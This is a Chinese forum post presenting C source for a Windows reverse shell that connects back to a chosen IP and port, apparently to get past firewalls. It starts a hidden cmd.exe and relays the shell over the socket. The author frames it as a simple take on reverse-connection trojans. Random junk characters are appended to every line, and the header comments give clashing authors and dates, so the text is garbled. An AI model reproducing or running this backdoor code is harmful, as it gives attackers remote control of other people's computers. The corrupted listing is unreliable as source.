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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %N=-i]+Id  
DO8@/W( `  
/* ============================== QI.{M$,m~  
Rebound port in Windows NT OpW4@le_r  
By wind,2006/7 OZB(4{vnyC  
===============================*/ /*B-y$WQk  
#include 3g0[( ;  
#include `og 3P:y  
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#pragma comment(lib,"wsock32.lib") "+~La{ POc  
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void OutputShell(); DUFfk6#X}  
SOCKET sClient; ~bf-uHx  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =hjff/ X  
sy0|=E*;8"  
void main(int argc,char **argv) 4&Y{kNF  
{ OB.TAoH:  
WSADATA stWsaData; XFUlV;ek  
int nRet; )!s f@F?  
SOCKADDR_IN stSaiClient,stSaiServer; iLIH |P%  
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if(argc != 3) q5p!Ty"  
{ ,73J#  
printf("Useage:\n\rRebound DestIP DestPort\n"); pIXbr($  
return; /2Y t\=S=  
} dmgoVF_qR  
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WSAStartup(MAKEWORD(2,2),&stWsaData); &"p7X>bd  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "eA4JL\%)  
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stSaiClient.sin_family = AF_INET; fzT|{vG8  
stSaiClient.sin_port = htons(0); z' z_6]5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); BGh1hyJ8d  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3WHj|ENW  
{ =aX;-  
printf("Bind Socket Failed!\n"); ]+@@{?0  
return; Bvk 8b  
} s{#rCc)  
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stSaiServer.sin_family = AF_INET; 8E`A`z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); UFr ]$m&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q`j!$r  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e%Rg,dX  
{ yU<T_&M  
printf("Connect Error!"); __dSEOGoe  
return; "#Qqwsw7  
} Ro\ U T64  
OutputShell(); Lq : !?)I  
} O10,h(O  
#fk#RNt  
void OutputShell() #e|G!'wdj  
{ ~\B1\ G  
char szBuff[1024]; I.As{0cc  
SECURITY_ATTRIBUTES stSecurityAttributes; Tk\?$n  
OSVERSIONINFO stOsversionInfo; C^oj/} ^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MKMWHGN  
STARTUPINFO stStartupInfo; 9ozN$:  
char *szShell; G0 *>S`:4  
PROCESS_INFORMATION stProcessInformation; `=TV4h4  
unsigned long lBytesRead; uJhB>/Og  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); V9  Z  
!:"$1kh1("  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S<fSoU+RJ  
stSecurityAttributes.lpSecurityDescriptor = 0; Y<0}z>^  
stSecurityAttributes.bInheritHandle = TRUE; nsW #  
as%@dUK?  
 }^3CG9%  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); X0G6W p  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r Z)?uqa  
'&v.h#<  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LGu K@^  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -|_#6-9  
stStartupInfo.wShowWindow = SW_HIDE; ,cj531.  
stStartupInfo.hStdInput = hReadPipe; $D&N^}alW  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fib#)KE  
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GetVersionEx(&stOsversionInfo); T'C^,,if  
'Z ;8-1M?O  
switch(stOsversionInfo.dwPlatformId) P)D2PVD  
{ jgpSFb<9F  
case 1: PqUjBP\  
szShell = "command.com"; Uphme8SX  
break; ArK%?*`5  
default: *BdKQ/Dk  
szShell = "cmd.exe"; 0i|z$QRL~  
break; K9 G1>*  
} ZH<: g6  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kz=Ql|@  
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send(sClient,szMsg,77,0); '\g-z  
while(1) >`{B  
{ ut/3?E1 Z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Yf&P|Iiw  
if(lBytesRead) ECW=865jL  
{ d-%bRGo/  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #LU<v  
send(sClient,szBuff,lBytesRead,0); "|k 4<"]  
} 9szUN;:ZZ  
else v^A4%e<8^r  
{ Sao4MkSz[]  
lBytesRead=recv(sClient,szBuff,1024,0); zv.R~lMtY  
if(lBytesRead<=0) break; r. z=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GycW3tc]_&  
} c2E*A+V#u  
} U=ek_FO  
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return; M_BG :P5  
}
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